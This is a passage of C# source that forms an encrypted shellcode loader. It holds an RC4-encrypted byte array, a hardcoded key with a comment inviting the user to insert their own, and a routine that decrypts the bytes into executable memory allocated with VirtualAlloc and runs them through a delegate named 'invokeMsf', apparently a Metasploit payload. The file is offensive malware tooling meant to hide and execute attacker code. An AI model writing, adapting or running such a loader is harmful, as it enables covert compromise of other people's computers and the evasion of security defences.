0x38, 0x6e, 0x99, 0xe2, 0xb0, 0x28, 0x10, 0x5d, 0xd6, 0x16, 0xf9, 0x41, 0xc4, 0x98, 0xf0, 0x29, 0x2d, 0x54, 0x53, 0x59, 0xb1, 0xda, 0x9d, 0xaf, 0x69, 0x3a, 0x05, 0x38, 0x6d, 0xd1, 0x2e, 0xcd, 0xf2, 0x4a, 0xdf, 0x5b, 0xd0, 0x78, 0xa9, 0x04, 0x03, 0xe3, 0x61, 0x56, 0xd0, 0x41, 0xf0, 0x8d, 0x4c, 0xa2, 0x0d, 0xbd, 0x77, 0xa2, 0x8f, 0x79, 0xd3, 0xdd, 0x20, 0x44, 0x40, 0x76, 0x4b, 0xbb, 0xd1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0xe8, 0xb9, 0x43, 0x3a, 0x4d, 0x38, 0x51, 0x49, 0x2c, 0xc7, 0x14, 0xbe, 0x8b, 0x18, 0x48, 0xec, 0x55, 0xf9, 0x05, 0x94, 0xb2, 0xfb }; string key = "kekz"; // Insert your RC4 key here byte[] keyBytes = Encoding.ASCII.GetBytes(key); var decryptedPayload = RC4.Decrypt(keyBytes, payload); IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)decryptedPayload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(decryptedPayload, 0, ptr, decryptedPayload.Length); WindowsRun invokeMsf = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); // Call Delegate invokeMsf(); }